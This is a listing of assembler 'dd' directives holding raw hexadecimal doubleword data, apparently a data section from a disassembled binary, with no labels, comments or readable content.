		dd 201290Bh, 60217h, 2503765Bh,	24174203h, 1040Bh, 0FF0B2417h
		dd 15127E83h, 24170279h, 24122412h, 40B2412h, 0C012C02h
		dd 0C0F010Fh, 10C040Ch,	1F0F0C02h, 30002BBh, 0B240F0Ch
		dd 0FF123280h, 106B60Fh, 1040201h, 0B241700h, 12241700h
		dd 0B241224h, 1047915h,	12241700h, 21241224h, 5E39FF2Ch
		dd 46C7FF0Bh, 0C0C010Dh, 210E0F19h, 12143915h, 0C0C0523h
		dd 15010204h, 0E0F7979h, 8BFF1521h, 460B9C48h, 0B1838FFh
		dd 8D8DFF29h, 402011Eh,	10070001h, 0FF0B9C46h, 290B1838h
		dd 1E8D8DFFh, 0FF100201h, 290B1838h, 0AD958DFFh, 204011Eh
		dd 0A070001h, 39C0150Fh, 0F092114h, 2C0B2417h, 0B5E39FFh
		dd 0D46C7FFh, 190C0C01h, 50B0E0Fh, 2040C0Ch, 79791501h
		dd 0B0E090Fh, 38FF800Fh, 4260B1Eh, 17020601h, 1702190Fh
		dd 2C462124h, 11239h, 19BB031Fh, 19020500h, 0E070033h
		dd 0FF874621h, 88FF488Ah, 488AFF4Dh, 7F4D88FFh,	0FF488AFFh
		dd 8AFF4D88h, 4D88FF48h, 488AFF7Fh, 0FF4D88FFh,	88FF488Ah
		dd 8AFF7F4Dh, 4D88FF48h, 0AF408AFFh, 7F010Dh, 10D0103h
		dd 0D010300h, 1030001h,	300010Dh, 2190401h, 17070001h
		dd 24170219h, 2C140021h, 10C0D05h, 7007F2Bh, 45C766FFh
		dd 6723A500h, 5023Bh, 0F010303h, 66FF0C05h, 3004589h, 50C0314h
		dd 0D200F05h, 0F060105h, 1050D0Ch, 0F060F06h, 4583FFh
		dd 152267A5h, 0EA295463h, 24170201h, 24122412h,	1904190Bh
		dd 7000119h, 24122417h,	24122412h, 10B2412h, 20030002h
		dd 2060403h, 32070001h,	17000612h, 1040B24h, 8241700h
		dd 21240824h, 12392C46h, 125E39FFh, 10205h, 190B0E07h
		dd 3030002h, 3001902h, 1921030Eh, 2C801702h, 60857h, 2B101403h
		dd 9D342300h, 0F6F7FF92h, 5A92634h, 8BFF8114h, 348260CFh
		dd 1434EB81h, 360D081h,	34C28BFFh, 56151460h, 820FFFh
		dd 0DF8BFF34h, 34EB0592h, 0F7FF8114h, 3482AAF7h, 0F7F7FF81h
		dd 0FF811434h, 503F6F7h, 34C28BFFh, 5EBAFF60h, 0FF36508Bh
		dd 0BE08D83Bh, 2 dup(0BE088B56h), 0FA8BFF56h, 0FF56B308h
		dd 9308F28Bh, 9820B56h,	9090C04h, 90A0909h, 91E0906h, 7000102h
		dd 2 dup(10417h), 5020217h, 10204h, 21007h, 191919h, 4791517h
		dd 10030001h, 19100002h, 19191904h, 17000119h, 3007915h
		dd 1C1D1318h, 8AFF4F11h, 0E20B6908h, 11102508h,	62A1A16h
		dd 1040902h, 0D000900h,	6040126h, 0E070001h, 250BAE08h
		dd 1040110h, 1020402h, 10400h, 506010Dh, 27100700h, 131B0300h
		dd 1A163F1Ch, 28060C2Ah, 0FF12320Ah, 4E213E80h,	3000602h
		dd 12030E14h, 9EC62BFFh, 8154A629h, 1060401h, 5040500h
		dd 470D0001h, 10C0401h,	120E0700h, 10250BAEh, 1E4C1E4Ch
		dd 1021E4Ch, 211F0700h,	3300010Dh, 300010Dh, 21035220h
		dd 1020Dh, 12030E03h, 1020Dh, 0B030E03h, 605E3400h, 1020D17h
		dd 30E0300h, 0D10230Bh,	3000102h, 0B030Eh, 1020D10h, 30E0300h
		dd 0D10000Bh, 3000102h,	0B030Eh, 1020D10h, 30E0300h, 32330021h
		dd 1020D21h, 30E0300h, 1020D12h, 30E0300h, 5E34000Bh, 20D1760h
		dd 0E030001h, 10260B03h, 1020Dh, 0B030E03h, 20D1000h, 0E030001h
		dd 10000B03h, 1020Dh, 0B030E03h, 20D1000h, 0E030001h, 20002103h
		dd 1020Dh, 0B030E03h, 20D2199h,	0E030001h, 12990B03h, 1020Dh
		dd 0B030E03h, 20D2E99h,	0E030001h, 22990B03h, 1020Dh, 0B030E03h
		dd 20D3B99h, 0E030001h,	54990B03h, 50C010Dh, 15170700h
		dd 3000125h, 13181B10h,	6111C1Dh, 3300380Ah, 2085203h
		dd 32032000h, 0A350208h, 45380001h, 0A070001h, 2060502h
		dd 13180700h, 16115D11h, 372C0C1Ah, 8230A06h, 37000209h
		dd 9080303h, 0C470210h,	3032D00h, 2100908h, 8DA4A10h, 0FF4E3D29h
		dd 0B1839h, 0F6F7FF34h,	75348DFFh, 6B00026Bh, 0FF000C47h
		dd 3207B68Bh, 0A0608h, 20303h, 0A000Ch,	1D131807h, 1A161141h
		dd 106042Ah, 1040104h, 8F70700h, 3000626h, 6000206h, 0F54A0700h
		dd 408F708h, 4100102h, 0F7000201h, 4080303h, 4100102h
		dd 3000201h, 4010304h, 4010401h, 7000201h, 8F512F5h, 20208F7h
		dd 17030300h, 605E3400h, 3B141Fh, 2040B0Eh, 1040001h, 10400h
		dd 0D001707h, 30E0001h,	1020D0Bh, 30300h, 0C13BFF5Eh, 8110002Eh
		dd 140CEAh, 473B4763h, 0A473B63h, 951B0305h, 6C85C7FFh
		dd 0F010486h, 6A0B186Ah, 513050Bh, 3030005h, 50501h, 1320303h
		dd 83FF59B7h, 0FFF3DE0h, 0C01C0BEh, 9050D09h, 5010505h
		dd 10204h, 81DF707h, 60226h, 0F7070006h, 6022608h, 7000600h
		dd 2 dup(20104h), 111C1307h, 0A06160Ch,	383838h, 0FF2300A1h
		dd 26000ABDh, 0C470006h, 0A0605h, 600420Ah, 0BCB0700h
		dd 101011Bh, 0F160700h,	0B9FD81FFh, 0AC581FFh, 0C000600h
		dd 0A0605h, 600420Ah, 5100700h,	3030005h, 1D411318h, 291A1611h
		dd 2040900h, 1E4C0001h,	2BFF095Eh, 11E58C8h, 1020400h
		dd 10400h, 0A1010401h, 111C0700h, 291A16h, 1020409h, 5E1E4C00h
		dd 0C82BFF09h, 11E58h, 10204h, 1000104h, 0A10104h, 16111C07h
		dd 600291Ah, 0BE80FF28h, 868BFF21h, 350B1F0Ah, 1F100201h
		dd 201350Bh, 1351F10h, 210020Bh, 7000104h, 33BE83FFh, 868BFF08h
		dd 0B1F081Fh, 10204h, 10D0303h,	2BFF0929h, 15801C7h, 0B68BFF00h
		dd 8187307h, 2040B73h, 3030001h, 10204h, 1000104h, 0A10104h
		dd 111C1307h, 291A16h, 904010Dh, 2 dup(4000102h), 4010001h
		dd 700A101h, 205111Ch, 61E110Fh, 39FF480Ah, 2000087Ch
		dd 0FFF73BFFh, 0C087489h, 0A020216h, 0F050A05h,	0A500A0Ah
		dd 380F0C02h, 16E88BFFh, 0A030300h, 8D060205h, 2050A30h
		dd 0F163038h, 1D410F0Ch, 11031318h, 5C8BFF0Ch, 0C0A16h
		dd 48E88BFFh, 3ED85FFh,	0FFCE0696h, 0BA2348Dh, 0A2100505h
		dd 80E000Bh, 5100505h, 0FF030005h, 64030688h, 4BFD3BFFh
		dd 1D411813h, 2A1A1611h, 0A28060Ch, 300AC02h, 190B030Eh
		dd 2170002h, 0E030019h,	19021203h, 30E0300h, 190212h, 21030E03h
		dd 12674846h, 217880FFh, 3000102h, 4621030Eh, 1021267h
		dd 30E0300h, 0FF128821h, 3BFF4E8Bh, 39FF12CFh, 39FF127Eh
		dd 6746127Eh, 3980FF12h, 0FF000112h, 0DE094E8Bh, 4000104h
		dd 5000102h, 0FF010A04h, 1900BD89h, 85C7FFh, 0C8B60FFFh
		dd 78921E07h, 0C9B60FFFh, 0FF78921Eh, 0EAC9B60Fh, 20D011Eh
		dd 0D190001h, 19040119h, 7000109h, 190217h, 8030E03h, 3001902h
		dd 208030Eh, 0E030019h,	19020803h, 150B0E0Fh, 90125C0h
		dd 8881700h, 20A0202h, 17070009h, 90202h, 19024817h, 30E0300h
		dd 5E340021h, 3B141F60h
		dd 40B0E00h, 4000102h, 1040001h, 170700h, 0E00010Dh, 20D0B03h
		dd 3030001h, 3BFF5E00h,	10002EC1h, 14EA81h, 473B4763h
		dd 5473B63h, 0FF95031Bh, 6C4A85C7h, 0F010486h, 0B6A0B6Ah
		dd 5051305h, 1030300h, 3000505h, 0B7013203h, 0E083FF59h
		dd 0BE0FFF3Dh, 90C01C0h, 509050Dh, 4050105h, 7000102h
		dd 17020104h, 300AC02h,	0A0B030Eh, 17000A0Ah, 3001902h
		dd 0B030E23h, 300090Ah,	460B030Eh, 0BAE080Eh, 17020125h
		dd 3001902h, 521030Eh, 1190Dh, 0A010Dh,	2010D07h, 2030300h
		dd 7000202h, 1000104h, 30E0300h, 10408h, 0D08030Eh, 4170201h
		dd 3000201h, 19021703h,	30E0300h, 5010Bh, 190210h, 0B030E03h
		dd 2123280h, 0E030006h,	0FF261203h, 2306588Dh, 4000A0Ch
		dd 7000C01h, 604128Ah, 7000A01h, 190217h, 0B030E03h, 124639FFh
		dd 300090Ah, 4621030Eh,	170A0125h, 3001902h, 4921030Eh
		dd 0FF120EC1h, 0FA9E508Ah, 3D0B8912h, 100011Eh,	125C1h
		dd 0C25C150h, 7C10001h,	0C101080Eh, 300015Fh, 0FFC11003h
		dd 8BFF6480h, 7F80FF7Fh, 12478DFFh, 0A1E234Ch, 0E070001h
		dd 250BAE12h, 19040110h, 10202h, 0D000104h, 50A01h, 122D1007h
		dd 127E83FFh, 0FF7E83FFh, 2125E8Dh, 0E030009h, 0FF151203h
		dd 23D03FFh, 0FFFF14h, 3030019h, 0B180E05h, 0AE038BFFh
		dd 145A4608h, 190217h, 21030E03h, 0AE038BFFh, 0FF25440Bh
		dd 40150389h, 0FFFF48h,	0BE3E39FFh, 8F94308h, 3005115h
		dd 98BFF44h, 83FF08F8h,	0FF156445h, 100B3883h, 10143A46h
		dd 0ABCF8BFFh, 0FF148BFFh, 0FFCF6480h, 80FF0C8Bh, 9F151064h
		dd 34FFFFh, 0C8BFF03h, 0FF0B5FF8h, 90200C6h, 30E0300h
		dd 514150Bh, 10504h, 8BFF5A15h,	400A38h, 0FF141F07h, 8AFF820Fh
		dd 590B694Ch, 0F80BF810h, 0FF85690Bh, 3AC9BE0Fh, 0FFE883FFh
		dd 141F84C6h, 49082D3Bh, 29FF435Ah, 78BFF7Dh, 0CF44080Eh
		dd 0FFCA03FFh, 6622C13Bh, 2 dup(84D39FFh), 3003815h, 0DE4F8BFFh
		dd 8BFFBE66h, 2080FF07h, 8BFF8715h, 2280FF10h, 0FF0F89FFh
		dd 0E14D0889h, 0A23222Dh, 0E030019h, 0C090B03h,	83FF7210h
		dd 0FF02123Eh, 30033FFh, 0FF08030Eh, 0A33FFh, 0B038A03h
		dd 33FFFFh, 0FF54031Fh,	0A3B8Bh, 0A0B03F8h, 0B8BFF00h
		dd 6480FFh, 60033405h, 0FF33FFFFh, 64FA8Bh, 4B036703h
		dd 6013D15h, 9090104h, 7000909h, 1C1D1318h, 291A1611h
		dd 5040C00h, 12C0D01h, 92B0104h, 90200h, 25765B07h, 37124237h
		dd 20A0612h, 0E030009h,	9020803h, 30E0300h, 839150Bh, 0BAE0B37h
		dd 0B7880FFh, 108AE3Dh,	8030E00h, 1E3D9E15h, 15010001h
		dd 20000125h, 1062515h,	0FF051500h, 10D6480h, 909010Dh
		dd 9020700h, 30E0300h, 2608DA08h, 1500ECAAh, 125ECh, 0AC0B8A07h
		dd 3D77200h, 3E83FFAAh,	0FFFF100Bh, 3A030034h, 0B58DFF05h
		dd 4EFF3648h, 0C803FF44h, 0B3980FFh, 5A480FFh, 0FF0B5218h
		dd 88FF118Ah, 118AFF94h, 0FF1488FFh, 25083980h,	0FF044B63h
		dd 0D01A580h, 80FF0401h, 10401A5h, 18070009h, 111C1D13h
		dd 80FFB20Ah, 0A06083Fh, 200A00h, 33E80FFh, 130BAA03h
		dd 50A1118h, 6C231B03h,	0FFF1886h, 88FF88B6h, 221F2581h
		dd 61A1611h, 1F000628h,	1B3B1403h, 50A0C17h, 90186634h
		dd 0C87D3BFFh, 1CBE0FFFh, 9B8AFF15h, 5FE3C0FFh,	3BFF645Ch
		dd 0FF3BFC4Dh, 0FF1CBE0Fh, 0C0FF9B8Ah, 1808FFEBh, 7D3BFF90h
		dd 0BE0FFF3Bh, 8AFF151Ch, 0E3C0FF9Bh, 0FF645C5Fh, 3BFC4D3Bh
		dd 1CBE0FFFh, 0FF9B8AFFh, 8FFEBC0h, 3BFF9018h, 0FFF3B7Dh
		dd 0FF151CBEh, 0C0FF9B8Ah, 645C5FE3h, 0FC4D3BFFh, 0BE0FFF3Bh
		dd 9B8AFF1Ch, 5C1808FFh, 0FF181764h, 131D428Dh,	1A161141h
		dd 490A060Ch, 0FFF05CFh, 13EA07B6h, 0FF808AFFh,	8AFF0288h
		dd 0E180FF0Fh, 0E1C0FF53h, 0FFF08F5h, 0FFF1CB6h, 0F0C4C9B6h
		dd 0FF8B8AFFh, 0FFFD0C88h, 0FF25E180h, 0FF4EE1C0h, 0FF08753Bh
		dd 0FF1CB60Fh, 0C4C9B60Fh, 8B8AFFF0h, 0FD0C88FFh, 8AFF25CCh
		dd 0C88FF89h, 3BFF4E25h, 0FFF0875h, 0FF780CB6h,	88FF898Ah
		dd 80FFFD0Ch, 0C0FF25E1h, 3BFF4EE1h, 0FFF0B75h,	83FFC9B6h
		dd 898AFFC9h, 250C88FFh, 1D1318DEh, 74061141h, 300060Ah
		dd 0FF960E66h, 0FFF148Ah, 80FFFABEh, 0B890BBFh,	54BA65Ch
		dd 11131836h, 1A16101Bh, 10D62h, 1090D09h, 2010D00h, 8DFF0700h
		dd 5AFF0505h, 0FF088AFFh, 88FFC1D2h, 4AFF2508h,	16111C0Bh
		dd 6628061Ah, 0E8AFF1Bh, 8C985FFh, 83FF229Ch, 3FFCCE9h
		dd 8AFFCCC1h, 0C103FF89h, 4EC0C1FFh, 11411310h,	6621A16h
		dd 10A0Dh, 1090D09h, 2010D00h, 8DFF0700h, 305AA35h, 34FFACFFh
		dd 0FFC002FFh, 0E2FF970Ch, 111C1318h, 1E1E1A16h, 0E4A0615h
		dd 0A0C9643h, 37E4905h,	0FFF9F7FFh, 0C0FF5588h,	0FF051565h
		dd 7E530C8Dh, 180FF13h,	0FFFEF7FFh, 504B60Fh, 348DFF1Dh
		dd 0FBF7FF7Eh, 0FF018AFFh, 88FF042Ah, 168AFF01h, 0D2F6FF28h
		dd 0FFD032FFh, 0FEFF5532h, 3BFF4EC2h, 1188FF75h, 1D184B43h
		dd 16111C13h, 151E1E1Ah, 400E480Ah, 5060C96h, 0FF037E28h
		dd 88FFF9F7h, 65C0FF55h, 8DFF0515h, 187EA80Ch, 0FF198AFFh
		dd 0FEFFFFF7h, 5D32FFCBh, 0CE1988FFh, 0FFD0F6FFh, 0FFAFC332h
		dd 0FFF0188h, 3FF04B6h,	0F7FF7ED6h, 0FFCE49FFh,	4FF4502h
		dd 7D3BFF64h, 400188FFh, 181D134Bh, 3802111Ch, 11070038h
		dd 383802h, 0C4F1107h, 65C8BFFh, 708DFF0Ah, 6010Ch, 6E480007h
		dd 0FF05FD96h, 0FF01C802h, 88FFC832h, 6487000Ch, 4B036D03h
		dd 0F97B8DFFh, 0FF05FD08h, 0FF01C802h, 88FFC832h, 8703000Ch
		dd 104FFF03h, 8DFF187Bh, 111D1343h, 0C151A16h, 0A3D2806h
		dd 11E8BFFh, 60135h, 486D83FFh,	0FF968807h, 0C05DF2Bh
		dd 0FFCE5000h, 0FF03C332h, 0FB03C32Ah, 7D3BFF64h, 8DFF154Bh
		dd 0FF08F978h, 0C05DF2Bh, 0FFCE5000h, 0FF03C332h, 0FB03C32Ah
		dd 15104FFFh, 411D1318h, 83FF4F11h, 6083FF60h, 0FF00C7FFh
		dd 0C7FF40C7h, 40C7FF40h, 0C1A1611h, 0A280668h,	0C8DFF46h
		dd 4E89FFA6h, 46FFFF3Bh, 78CB8BFFh, 0EA4E01FFh,	8E083FFh
		dd 4C8DFF05h, 0F82BFF18h, 3BDF3BFFh, 101E090Ch,	1E090Ah
		dd 60135h, 77D01FFh, 0A7DF2BFFh, 0FB8BFF22h, 93505A0h
		dd 6090001h, 4583FF00h,	0EB83FF07h, 0C0B4FFFh, 60972h
		dd 1D131807h, 74061141h, 0FF46050Ah, 3EA7E8Dh, 0FFC123FFh
		dd 8DFFC82Bh, 2C6FF54h,	0C3B9C90h, 0AD051Eh, 0C5E8DFFh
		dd 5050006h, 1D07000Ch,	51E9B10h, 50700ADh, 10A35h, 60135h
		dd 380605h, 60505h, 11131807h, 0C2E52EE0h, 0CE83FF06h
		dd 0FF428DFFh, 8AFFF22Bh, 5088FF11h, 7D118BFFh,	0FF1088FFh
		dd 0FF7D118Bh, 8BFF5088h, 88FF7D11h, 0FF9B3D50h, 3BFF148Dh
		dd 11132254h, 0C621A16h, 9050A06h, 1500010Dh, 788BFF07h
		dd 0FF508BFFh, 8C9D588Bh, 0F223FFD4h, 0FFD38BFFh, 0BFFD723h
		dd 0F103FFF2h, 829DE944h, 0FFEED278h, 8BFFCF03h, 0F123FFD1h
		dd 0FFD2F7FFh, 0FFEFD323h, 94BA708Bh, 0EF757DE6h, 0F28BFFA4h
		dd 0F723FFD4h, 0FFFA8BFFh, 7AF2F923h, 0A0AAE794h, 0FE0BFF75h
		dd 9DFA03FFh, 0D4DF23FFh, 40F123FFh
		dd 588BFFF1h, 75E8777Ah, 3FFF1C4h, 23FFA9F7h, 23FFB5FEh
		dd 0DF0BFFDAh, 0A0B3D170h, 0F90BFFABh, 0FF40D0C7h, 0F7FF4D23h
		dd 7D23FFD7h, 0FFF90BFFh, 82E97D03h, 98EED278h,	0B3D18BFFh
		dd 7C7D23FFh, 0FFD2F7FFh, 0BFFD623h, 0C3BA49D7h, 7DD78BFFh
		dd 0D70BFF9Fh, 0FA8BFFA4h, 0FFDA23FFh, 23FFD7F7h, 0FFE7F37Dh
		dd 0AA947D03h, 0BFFB49Fh, 0FA03FFFEh, 0DF23FF9Dh, 0F123FFD4h
		dd 7A68F140h, 8EB4E877h, 0F703FFF1h, 0FE23FFA9h, 0DA23FFB5h
		dd 70DF0BFFh, 0ABA0B3D1h, 0C7F90BFFh, 0FFCF8BFFh, 0F7FFDF8Bh
		dd 4D23FFD1h, 0D8DE23FFh, 0C4E7E998h, 0DA0BFFD2h, 0FFDF03FFh
		dd 8BFFCB8Bh, 0D1F7FFD7h, 0FFCE23FFh, 0CFEED323h, 82E92B98h
		dd 0FFEE7DABh, 8BFFCB03h, 0D923FFD1h, 0FFD2F7FFh, 0BFFD723h
		dd 0E694BAD3h, 93EF757Dh, 23FF8BA4h, 0D2F7FF75h, 0EF5523FFh
		dd 8BFFC3BAh, 0FF9F7DD7h, 0BAB3D70Bh, 0F28BFF8Bh, 0FF55F7FFh
		dd 23FF7523h, 49F2E77Dh, 0B49DC37Ah, 3FFF29Fh, 23FF43F2h
		dd 55F7FFDEh, 7D23FF49h, 3FFA9F3h, 5D23FF7Dh, 789FB3D1h
		dd 82F90BFFh, 0CF23FFC7h, 0D19868D8h, 0F0ABC47Ch, 0DF03FF44h
		dd 2BCF23FFh, 23FFD0BEh, 0D8447CCBh, 7882E998h,	8BFFEED2h
		dd 0F7FF98D7h, 5523FFD2h, 0DF23FF7Ch, 0BAD30BFFh, 757DE694h
		dd 8BA428EFh, 0D45523FFh, 68F123FFh, 7AF20BFFh,	8BFF93C3h
		dd 0FFA0D2D7h, 0FFB3D70Bh, 0FFD4D303h, 23FFF323h, 7A49F2FAh
		dd 75A0AA94h, 0E8FE0BFFh, 40FA03FFh, 0FFFB8BFFh, 0FFD47D23h
		dd 7AF2F223h, 0ABB493D1h, 82F10BFFh, 0D1F7FF7Ah, 0AA4D23FFh
		dd 0FFFA23FFh, 0C398CF0Bh, 78CF8BFFh, 0CF0BFF9Fh, 0CE03FF49h
		dd 5D23FF7Ch, 0FFD7F7FFh, 0A9F3FE23h, 0E97D03FFh, 9FFA8BFFh
		dd 0FA0BFF7Dh, 0F903FFE6h, 0FFD2F7FFh, 23FFD123h, 0D30BFFDFh
		dd 7740BA68h, 7DD38BFFh, 0D30BFF8Eh, 3FFB57Ch, 0DF23FFD7h
		dd 0FA23FFB3h, 70DF0BFFh, 75A0AA94h, 28FE0BFFh,	0FFFA03FFh
		dd 23FFDF8Bh, 23FFD45Dh, 0D17AF1F2h, 0FFABB493h, 0FF82F10Bh
		dd 0F7FFF703h, 23FFA9D1h, 0DA23FFCFh, 0D19868D8h, 0F0788E7Ch
		dd 0FFCF8BFFh, 0FF2BDE03h, 23FFDF8Bh, 0D1F7FF5Dh, 0D8CE23FFh
		dd 7882E998h, 98E6EED2h, 23FFD0BEh, 0F7FF6855h,	4D23FFD1h
		dd 0FF98CFEEh, 23FFD2F7h, 8BFFC3D3h, 0FF9F78CFh, 3FFCF0Bh
		dd 23FFB3CBh, 0D70BFF7Dh, 7DE694BAh, 0A4E8EF75h, 0FA8BFFD4h
		dd 0FFF123FFh, 49F2FB23h, 759DC37Ah, 0FFB3F2A0h, 33FFF203h
		dd 0FE33FFFAh, 777D03FFh, 0A0FB8BFFh, 0C7E7F38Eh, 0FFDE33FFh
		dd 0D170DF33h, 0F0ABC47Ch, 0FFDF03FFh, 33FFCB8Bh, 0CF33FFCEh
		dd 7882E998h, 8BFFEED2h, 0CB03FFD3h, 0D133FFBEh, 0CF33FF82h
		dd 0ABD09498h, 0CE0BFFB4h, 0D133FF98h, 8BFFC3BAh, 0FF9F7DD7h
		dd 9D49D70Bh, 0F133FFA4h, 7AF233FFh, 8EB4E877h,	0F203FFF1h
		dd 33FF43A9h, 0DA33FFD9h, 8BFF7770h, 0F38EA0FBh, 7D31FFC7h
		dd 0DA33FF68h, 8BFF7770h, 0D8C4ABCBh, 0CF03FF68h, 70D933FFh
		dd 0D38BFF77h, 0BFF8E7Dh, 0DF8BFFD3h, 0D933FFA4h, 70DA33FFh
		dd 75C4A994h, 0FFDE0BFFh, 2BE8DA03h, 0FFF133FFh, 947AF233h
		dd 0FF75A0AAh, 3FFFE0Bh, 7D31FFFBh, 0F233FF28h,	0ABD0947Ah
		dd 0CE0BFFB4h, 0CF03FF28h, 7AF133FFh, 757DE694h, 0FFA49DEFh
		dd 33FFF133h, 0E8777AF2h, 0FFF18EB4h, 0FFA9F203h, 33FFD933h
		dd 0FF7770DAh, 8EA0FB8Bh, 0FFC7A9F3h, 33FFDF33h, 7CD170DAh
		dd 0D0F0788Eh, 0FFDF03FFh, 0FFD8D1F7h, 0E998CF33h, 0EED27882h
		dd 0FFD78BFFh, 0F7FFCB03h, 0D10BFFD2h, 0BAD333FFh, 757DE694h
		dd 0D4A4E8EFh, 0FFF20BFFh, 0C37AF133h, 0F29FB49Dh, 0F203FFB3h
		dd 0FFD7F7FFh, 33FFFE0Bh, 7D03FFFAh, 0FB8BFF77h, 0E7F39FC4h
		dd 0BFFC7B5h, 0DE33FFDFh, 8BFF7770h, 0D8788ECBh, 3FFB5A9h
		dd 33FFF0CFh, 0FF7770DFh, 7D8ED38Bh, 0FFD30BFFh, 0B5A4DF8Bh
		dd 0FFDA0BFFh, 7770D933h, 0F18EB4E8h, 0F203FF7Ch, 0DE0BFFB5h
		dd 70DA33FFh, 0FB8BFF77h, 0E7F3C49Fh, 0BFFB5C7h, 0DE33FFDFh
		dd 8BFF7770h, 0D88E78CBh, 0CF03FFA9h, 33FFF0B5h, 0FF7770DFh
		dd 8E7DD38Bh, 0FFD30BFFh, 0B5A4DF8Bh, 0FFDA0BFFh, 7770D933h
		dd 0F18EB4E8h, 0F203FF7Ch, 0DE0BFFB5h, 70DA33FFh, 0FB8BFF77h
		dd 0E7F3C49Fh, 0BFFB5C7h, 0DE33FFDFh, 8BFF7770h, 0D88E78CBh
		dd 0CF03FFA9h, 33FFF0B5h, 0E7E970DFh, 0BFFD2C4h, 0D78BFFDAh
		dd 0FFD903FFh, 0BFFD2F7h, 0D133FFD3h, 7DE694BAh, 0FF93EF75h
		dd 0FFD4D303h, 33FFF20Bh, 0FFC37AF3h, 3FF308Bh,	0CF8BFFF1h
		dd 0BFFA0ABh, 3089FFCFh, 184803FFh, 0CA03FF13h,	0FF4889FFh
		dd 3FF488Bh, 4889FFCAh,	0FF488BFFh, 0FF1DCB03h,	111C4889h
		dd 0C2E52EE0h, 0FF050A06h, 0FF13428Dh, 0FFFF22Bh, 0FF3478B6h
		dd 8AFF708Ah, 0FFD23D10h, 0FFFD70Bh, 0FFD278B6h, 89FFD70Bh
		dd 148DFF11h, 543BFF9Bh, 11131822h, 5A1E1A16h, 5050206h
		dd 0F01050Dh, 905028Dh,	3 dup(9050230h), 0F090530h, 16111C13h
		dd 650C1E1Ah, 0C303FF84h, 3FF8465h, 0FF8465C1h,	8465C203h
		dd 878465EDh, 3FF8465h,	0FF8465C5h, 8465C403h, 65151400h
		dd 65846584h, 0FF846584h, 0D3FFCB03h, 0FFF65CBh, 3FF1DC1h
		dd 0C9D3FFC9h, 0C10FFF65h, 0CA03FF0Dh, 65CAD3FFh, 15C10FFFh
		dd 0FFC0D3FFh, 0D3FFC803h, 0CB03FFCBh, 0FFC9D3FFh, 0D3FFC181h
		dd 0CA03FFC2h, 0C10FFF65h, 0FFF6515h, 0FF650DC1h, 651DC10Fh
		dd 111C1D84h, 1A16h, 0FF448465h, 5C344D2Bh, 0C28BFF60h
		dd 414503FFh, 65000011h, 1184h,	25FF8465h, 65000011h, 1125FF84h
		dd 84650000h, 11E083FFh, 5C8BFF0Ch, 7408066Eh, 0FF0A2EA7h
		dd 0A0FB8Bh, 720689FFh,	0FFEB83FFh, 6E180B4Fh, 88FF002Eh
		dd 4BFF4E06h, 111D130Bh, 0B2D1A16h, 1511411Bh, 0A150B0Eh
		dd 33000901h, 2E035203h, 0FF28060Ch, 909DF8Bh, 688FF00h
		dd 4BFF4E03h, 1D130B03h, 114118A8h, 6621A16h, 10A0Dh, 1090D09h
		dd 2010D00h, 8DFF0700h,	305AA35h, 0DFFACFFh, 18E2FF97h
		dd 0C2111C13h, 8AFF060Ch, 0FB80FF19h, 84FF4A54h, 530A08DBh
		dd 0FF187E05h, 8AFFFFF7h, 0C332FF82h, 188FF4Eh,	1C8AFF4Fh
		dd 0FF0C8DFFh, 180BDB84h, 0C2111D13h, 8AFF060Ch, 0FB80FF19h
		dd 84FF4A2Eh, 530A08DBh, 0FF187E05h, 8AFFFFF7h,	0C332FF82h
		dd 188FF4Eh, 1C8AFF4Fh,	0FF0C8DFFh, 180BDB84h, 16111D13h
		dd 28062A1Ah, 402230Ah,	19010Ah, 5080E07h, 10204h, 40B0E07h
		dd 19010Ah, 4080E07h, 3000102h,	0B10B030Eh, 3540FFFFh
		dd 7972B101h, 2020602h,	13180700h, 1A16111Ch, 60C0029h
		dd 90C0A47h, 0E038D00h,	5082303h, 9010A04h, 1F120E30h
		dd 9020512h, 90C00h, 5120E07h, 9010A04h, 1F120E30h, 10408h
		dd 0FF440355h, 550B0189h, 0FF1F660Bh, 0B8C19E0Fh, 815C5CCCh
		dd 660B5510h, 9E0FFF1Fh, 9BCCB8C1h, 660B5510h, 9E0FFF1Fh
		dd 9BCCB8C1h, 660B5510h, 9E0FFF1Fh, 181B10C1h, 111C1D13h
		dd 291A16h, 0A28060Ch, 45190205h, 4014501h, 1026Bh, 12520733h
		dd 19010D5Ah, 0E140300h, 4471203h, 1050Ch, 1020405h, 2040200h
		dd 0A040001h, 10401h, 1020405h,	2040500h, 4070001h, 10205h
		dd 1020405h, 2040500h, 0A230001h, 0A040100h, 4050001h
		dd 7000102h, 0FF150B2Dh, 2D10048Bh, 8BFF150Bh, 152D1004h
		dd 48BFF0Bh, 48BFF10h, 10C04E3h, 19020019h, 80E0700h
		dd 10C0405h, 13180F19h,	16111C1Dh, 0C00291Ah, 0C0A4706h
		dd 38D0009h, 823030Eh, 10A0405h, 120E3009h, 205121Fh, 90C0009h
		dd 120E0700h, 10A0405h,	120E3009h, 104081Fh, 44035500h
		dd 0B0189FFh, 1F660B55h, 0C19E0FFFh, 5C5CCCB8h,	0B551081h
		dd 0FFF1F66h, 0CCB8C19Eh, 0B55109Bh, 0FFF1F66h,	0CCB8C19Eh
		dd 0B55109Bh, 0FFF1F66h, 1B10C19Eh, 1C1D1318h, 291A1611h
		dd 28060C00h, 1902050Ah, 1450145h, 1026B04h, 0E140700h
		dd 10D5A12h, 3500019h, 2312036Eh, 1050A04h, 2040500h, 4050001h
		dd 9000102h, 1040104h, 2040500h, 4050001h, 7000102h, 0FF150BA7h
		dd 0A710048Bh, 8BFF150Bh, 0A7151004h, 48BFF0Bh,	48BFF10h
		dd 10A04E3h, 19020019h,	80E0700h, 10A0405h, 13180F19h
		dd 16111C1Dh, 0C00291Ah, 50A2806h, 1000135h, 60104h, 80E1407h
		dd 190205h, 7001902h, 47BF080Eh, 10C0405h, 4096119h, 2001901h
		dd 0E070019h, 0C040508h, 18611901h, 111C1D13h, 152A1A16h
		dd 0FF790205h, 0FF1E888Dh, 0D51E888Dh, 10204h, 0B0E1407h
		dd 60C111Ch, 505FF0Ah, 0FF037E47h, 3605F9F7h, 0FFC22BFFh
		dd 0C383FF79h, 6020228h, 0DA2BFFh, 1020545h, 2450500h
		dd 45050001h, 900010Ch,	4BB8DFFh, 48DFF01h, 3FF0001h, 0FF02057Dh
		dd 1048Dh, 0FF05E107h, 102048Dh, 0E1071500h, 8E8DFF59h
		dd 59085908h, 50E0008h,	2100208h, 5100145h, 2051002h, 1E020510h
		dd 5F071500h, 2	dup(4E01FF9Eh),	6 dup(8E01FF9Eh), 0C22BFF7Eh
		dd 0FFF8D1FFh, 1FF8601h, 1318A886h, 16111C1Dh, 600291Ah
